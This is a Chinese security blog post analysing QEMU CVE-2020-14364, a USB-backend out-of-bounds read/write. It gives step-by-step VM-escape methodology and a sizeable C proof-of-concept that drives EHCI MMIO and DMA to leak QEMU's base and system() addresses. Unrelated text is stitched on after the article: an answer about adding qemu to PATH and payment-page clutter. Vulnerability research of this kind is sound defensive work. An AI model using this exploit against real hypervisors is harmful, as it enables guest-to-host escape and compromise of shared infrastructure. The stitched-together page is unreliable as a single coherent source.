QEMU CVE-2020-14364 漏洞分析(含 PoC 演示)

 聚焦源代码安全,网罗国内外最新资讯!

作者:奇安信代码安全实验室研究员张子明(@Ezrak1e)

    奇安信代码安全实验室研究员为Red Hat发现六个漏洞(CVE-2020-14364、CVE-2020-10756、CVE-2020-12829、CVE-2020-14415、CVE-2020-15863和CVE-2020-16092),其中 CVE-2020-14364 被评为具有“重要影响”。研究员第一时间向 Red Hat报告且协助其修复漏洞。本文分析的是 CVE-2020-14364,希望给大家带来一些启发。

01

漏洞分析

QEMU(quick emulator)是一款由Fabrice Bellard等人编写的免费的可执行硬件虚拟化开源托管虚拟机(VMM)。

QEMU的USB后端在实现USB控制器与USB设备通信时存在越界读写漏洞可能导致虚拟机逃逸。

02

漏洞成因

USB总线通过创建一个 USBpacket 对象来和USB设备通信。

Usbpacket对象中包含以下关键内容。

struct USBPacket {

    /* Data fields for use by the driver.  */

    int pid;

    uint64_t id;

    USBEndpoint *ep;

    ....

};

其中pid表明packet的类型,存在三种类型in、out、setup, ep指向endpoint对象,通过此结构定位目标usb设备。

数据交换为usbdevice中缓冲区的data_buf与usbpacket对象中使用usb_packet_map申请的缓冲区两者间通过usb_packet_copy函数实现,为了防止两者缓冲区长度不匹配,传送的长度由s->setup_len限制。

case SETUP_STATE_DATA:

        if (s->setup_buf[0] & USB_DIR_IN) {

            int len = s->setup_len - s->setup_index;

            if (len > p->iov.size) {

                len = p->iov.size;

            }

            usb_packet_copy(p, s->data_buf + s->setup_index, len);

            s->setup_index += len;

            if (s->setup_index >= s->setup_len) {

                s->setup_state = SETUP_STATE_ACK;

            }

            return;

        }

   

漏洞存在于s->setup_len赋值的过程do_token_setup中。

s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];

    if (s->setup_len > sizeof(s->data_buf)) {

        fprintf(stderr,

                "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",

                s->setup_len, sizeof(s->data_buf));

        p->status = USB_RET_STALL;

        return;

    }

虽然进行了校验,但是由于在校验前,s->setup_len的值已经被设置导致之后的do_token_in或者do_token_out中使用usb_packet_copy时会产生越界读写漏洞。

03

漏洞利用

1、泄露USBdevice对象的地址。

观察越界可读内容发现:

struct USBDevice {

    ...

    uint8_t setup_buf[8];

    uint8_t data_buf[4096];

    int32_t remote_wakeup;

    int32_t setup_state;

    int32_t setup_len;

    int32_t setup_index;

    USBEndpoint ep_ctl;

    USBEndpoint ep_in[USB_MAX_ENDPOINTS];

    USBEndpoint ep_out[USB_MAX_ENDPOINTS];

    QLIST_HEAD(, USBDescString) strings;

    const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */

    const USBDescDevice *device;

...};

可以从下方的ep_ctl->dev获取到usbdevice的对象地址。

2、通过usbdevice的对象地址我们可以得到s->data_buf的位置,之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写。

3、我们还需要获取任何地址读取功能,setup_buf [0]控制写入方向,并且只能由do_token_setup进行修改。 由于我们在第二步中使用了越界写入功能,因此setup_buf [0]是写入方向,因此只可以进行写入操作,无法读取。

绕过方法:设置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次将setup_index修改为要读取的地址,以实现任意地址读取。

4、通过任意地址读取usbdevice对象的内容以获取ehcistate对象地址,再次使用任意地址读取ehcistate对象的内容以获取ehci_bus_ops_companion地址。 该地址位于程序data节区。 这时,我们可以获得程序的加载地址和system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。

5、在data_buf中伪造irq结构。

6、以伪造结构劫持ehcistate中的irq对象。

7、通过mmio读取寄存器以触发ehci_update_irq,执行system ("xcalc")。 完成利用。

04

漏洞Poc代码

#include <assert.h>

#include <fcntl.h>

#include <inttypes.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/mman.h>

#include <sys/types.h>

#include <unistd.h>

#include <sys/io.h>

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

#include <errno.h> 

#include <sys/types.h> 

#include <sys/socket.h> 

#include <stdbool.h>

#include <netinet/in.h> 

unsigned char* mmio_mem;

char *dmabuf;

struct ohci_hcca * hcca;

struct EHCIqtd * qtd;

struct ohci_ed * ed;

struct ohci_td * td;

char *setup_buf;

uint32_t *dmabuf32;

char *td_addr;

struct EHCIqh * qh;

struct ohci_td * td_1;

char *dmabuf_phys_addr;

typedef struct USBDevice USBDevice;

typedef struct USBEndpoint USBEndpoint;

struct USBEndpoint {

    uint8_t nr;

    uint8_t pid;

    uint8_t type;

    uint8_t ifnum;

    int max_packet_size;

    int max_streams;

    bool pipeline;

    bool halted;

    USBDevice *dev;

    USBEndpoint *fd;

    USBEndpoint *bk;

};

 

struct USBDevice {

    int32_t remote_wakeup;

    int32_t setup_state;

    int32_t setup_len;

    int32_t setup_index;

 

    USBEndpoint ep_ctl;

    USBEndpoint ep_in[15];

    USBEndpoint ep_out[15];

};

 

 

typedef struct EHCIqh {

    uint32_t next;                    /* Standard next linkpointer */

 

    /* endpoint characteristics */

    uint32_t epchar;

 

    /* endpoint capabilities */

    uint32_t epcap;

 

    uint32_t current_qtd;             /* Standard next link pointer */

    uint32_t next_qtd;                /* Standard next link pointer*/

    uint32_t altnext_qtd;

 

    uint32_t token;                   /* Same as QTD token */

    uint32_t bufptr[5];               /* Standard buffer pointer */

 

} EHCIqh;

typedef struct EHCIqtd {

    uint32_t next;                    /* Standard next linkpointer */

    uint32_t altnext;                 /* Standard next link pointer*/

    uint32_t token;

 

    uint32_t bufptr[5];               /* Standard buffer pointer */

 

} EHCIqtd;

uint64_t virt2phys(void* p)

{

    uint64_t virt = (uint64_t)p;

    

    // Assert page alignment

 

    int fd =open("/proc/self/pagemap", O_RDONLY);

    if (fd == -1)

        die("open");

    uint64_t offset = (virt /0x1000) * 8;

    lseek(fd, offset, SEEK_SET);

    

    uint64_t phys;

    if (read(fd, &phys, 8 ) !=8)

        die("read");

    // Assert page present

    

 

    phys = (phys & ((1ULL<< 54) - 1)) * 0x1000+(virt&0xfff);

    return phys;

}

 

void die(const char* msg)

{

    perror(msg);

    exit(-1);

}

 

void mmio_write(uint32_t addr, uint32_t value)

{

    *((uint32_t*)(mmio_mem + addr))= value;

}

 

uint64_t mmio_read(uint32_t addr)

{

    return *((uint64_t*)(mmio_mem +addr));

}

void init(){

 

int mmio_fd =open("/sys/devices/pci0000:00/0000:00:05.7/resource0", O_RDWR |O_SYNC);

    if (mmio_fd == -1)

        die("mmio_fd openfailed");

 

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,0);

    if (mmio_mem == MAP_FAILED)

        die("mmap mmio_memfailed");

 

 

dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED |MAP_ANONYMOUS, -1, 0);

    if (dmabuf == MAP_FAILED)

        die("mmap");

    mlock(dmabuf, 0x3000);

hcca=dmabuf;

dmabuf32=dmabuf+4;

qtd=dmabuf+0x200;

qh=dmabuf+0x100;

setup_buf=dmabuf+0x300;

 

}

void init_state(){

mmio_write(0x64,0x100);

mmio_write(0x64,0x4);

qh->epchar=0x00;

qh->token=1<<7;

qh->current_qtd=virt2phys(dmabuf+0x200);

struct EHCIqtd * qtd;

qtd=dmabuf+0x200;

qtd->token=1<<7 | 2<<8 | 8<<16;

qtd->bufptr[0]=virt2phys(dmabuf+0x300);

setup_buf[6]=0xff;

setup_buf[7]=0x0;

dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;

mmio_write(0x28,0x0);

mmio_write(0x30,0x0);

mmio_write(0x38,virt2phys(dmabuf));

mmio_write(0x34,virt2phys(dmabuf));

mmio_write(0x20,0x11);

}

void set_length(uint16_t len,uint8_t in){

mmio_write(0x64,0x100);

mmio_write(0x64,0x4);

setup_buf[0]=in;

setup_buf[6]=len&0xff;

setup_buf[7]=(len>>8)&0xff;

qh->epchar=0x00;

qh->token=1<<7;

qh->current_qtd=virt2phys(dmabuf+0x200);

 

 

qtd->token=1<<7 | 2<<8 | 8<<16;

qtd->bufptr[0]=virt2phys(dmabuf+0x300);

dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;

mmio_write(0x28,0x0);

mmio_write(0x30,0x0);

mmio_write(0x38,virt2phys(dmabuf));

mmio_write(0x34,virt2phys(dmabuf));

mmio_write(0x20,0x11);

}

void do_copy_read(){

mmio_write(0x64,0x100);

mmio_write(0x64,0x4);

 

qh->epchar=0x00;

qh->token=1<<7;

qh->current_qtd=virt2phys(dmabuf+0x200);

qtd->token=1<<7 | 1<<8 | 0x1f00<<16;

qtd->bufptr[0]=virt2phys(dmabuf+0x1000);

qtd->bufptr[1]=virt2phys(dmabuf+0x2000);

dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;

mmio_write(0x28,0x0);

mmio_write(0x30,0x0);

mmio_write(0x38,virt2phys(dmabuf));

mmio_write(0x34,virt2phys(dmabuf));

mmio_write(0x20,0x11);

 

}

int main()

{

 

init();

 

iopl(3);

outw(0,0xc0c0);

outw(0,0xc0e0);

outw(0,0xc010);

outw(0,0xc0a0);

sleep(3);

init_state();

sleep(2);

set_length(0x2000,0x80);

sleep(2);

do_copy_read();

sleep(2);

struct USBDevice* usb_device_tmp=dmabuf+0x2004;

struct USBDevice usb_device;

memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));

 

uint64_t dev_addr=usb_device.ep_ctl.dev;

 

 

 

uint64_t *tmp=dmabuf+0x24f4;

long long base=*tmp;

if(base == 0){

printf("INIT DOWN,DO IT AGAIN");

return 0;

}

 

base-=0xee5480-0x2668c0;

uint64_t system=base+0x2d9610;

puts("\\\\\\\\\\\\\\\\\\\\\\\\");

 

printf("LEAK BASE ADDRESS:%llx!\n",base);

printf("LEAK SYSTEM ADDRESS:%llx!\n",system);

puts("\\\\\\\\\\\\\\\\\\\\\\\\");

}

05

PoC演示视频

推荐阅读

奇安信代码安全实验室帮助Red Hat修复多个QEMU高危漏洞,获官方致谢

题图:Pixabay License

转载请注明“转自奇安信代码卫士 www.codesafe.cn”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错,就点个 “在看” 吧~

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
如果你在编译后运行`qemu --version`命令时,无法识别`qemu`命令,可能是因为`qemu`的可执行文件没有正确地添加到系统的可执行路径中。你可以尝试以下几个步骤来解决这个问题: 1. 确认编译成功:首先,请确保你已经成功地编译了`qemu`。编译过程可能会有一些依赖项和配置选项,你需要按照官方文档或编译说明进行操作。 2. 检查可执行文件路径:确认编译后的`qemu`可执行文件所在的路径。你可以使用`ls`命令或者文件管理器来查找该文件。通常情况下,编译后的可执行文件位于`build`目录或者指定的安装目录中。 3. 添加到系统路径:将`qemu`的可执行文件所在的路径添加到系统的可执行路径中。这样系统就能够正确地找到并执行`qemu`命令。具体的步骤可能因操作系统而异,以下是一些常见操作系统的示例: - Linux/macOS:可以将`qemu`的可执行文件所在的路径添加到`PATH`环境变量中。可以通过编辑`.bashrc`或`.bash_profile`文件,并在其中添加类似于以下内容的行: ``` export PATH=/path/to/qemu:$PATH ``` 然后保存文件并重新启动终端,或者执行`source .bashrc`或`source .bash_profile`命令使环境变量生效。 - Windows:可以将`qemu`的可执行文件所在的路径添加到系统的环境变量中。可以通过以下步骤进行操作: - 在桌面上,右键点击"此电脑"(或"我的电脑"),选择"属性"。 - 在弹出的窗口中,点击"高级系统设置"。 - 在"系统属性"窗口中,点击"环境变量"按钮。 - 在"环境变量"窗口中,找到"Path"变量,并点击"编辑"。 - 在弹出的窗口中,点击"新建",然后输入`qemu`的可执行文件所在的路径。 - 点击"确定"保存修改,并关闭所有窗口。 - 重新启动命令提示符或PowerShell窗口,然后尝试运行`qemu --version`命令。 如果你按照上述步骤操作后仍然无法解决问题,请提供更多详细信息,例如你的操作系统、编译过程中的任何错误信息等,以便我能够更好地帮助你。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值